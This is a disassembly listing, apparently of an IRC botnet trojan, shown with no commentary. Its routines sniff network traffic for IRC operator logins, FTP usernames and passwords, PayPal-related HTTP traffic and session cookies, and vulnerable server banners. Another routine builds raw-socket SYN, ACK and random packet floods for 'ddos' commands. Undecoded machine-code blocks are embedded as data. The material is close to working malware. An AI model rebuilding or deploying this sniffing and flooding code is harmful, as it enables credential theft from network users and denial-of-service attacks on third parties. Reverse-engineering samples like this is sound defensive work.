		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9F8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA68
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA64
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA10
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437878
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB990
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437848
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9FC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437814
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377E0
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377AC
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_437774


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43773C
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 229D5D1h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 78A468FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB954
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA88
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9E4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9E4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9E4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9E4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9E0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9E4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27E03BCh
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27E0131h
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9E4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9E4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9E0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9E4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA48
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27E0131h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378CC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA7C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB93C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA6415h, 0FFF88300h, 75FC4589h, 7815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0CC68FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22FC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9C415h, 0FFF88300h, 15FF5D75h
		dd 4CB978h, 44858D50h, 68FFFFFCh, 43799Ch, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022FC4h, 0FFFE4885h, 15FF50FFh, 4CBA24h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 43797Ch, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 0C45EE890h, 106A022Fh, 57E4458Dh,	83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9E415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 2415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E75005C6h
		dd 0FF45004Ch, 4CB9E415h, 0D47D3900h, 0E752A366h, 8966004Ch
		dd 4CE7541Dh, 3D896600h, 4CE756h, 0E75805C6h, 8880004Ch
		dd 4CE7591Dh, 3D896600h, 4CE75Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 5C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA2415h
		dd 0E75CA300h, 458B004Ch, 0E760A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE76415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE765h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7663Dh, 1D896600h, 4CE76Ah, 15896642h
		dd 4CE768h, 85E9E8h, 0FFB99900h, 0F7000000h, 6C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE750h, 0FFFC75FFh, 4CBA4815h, 0FFF88300h
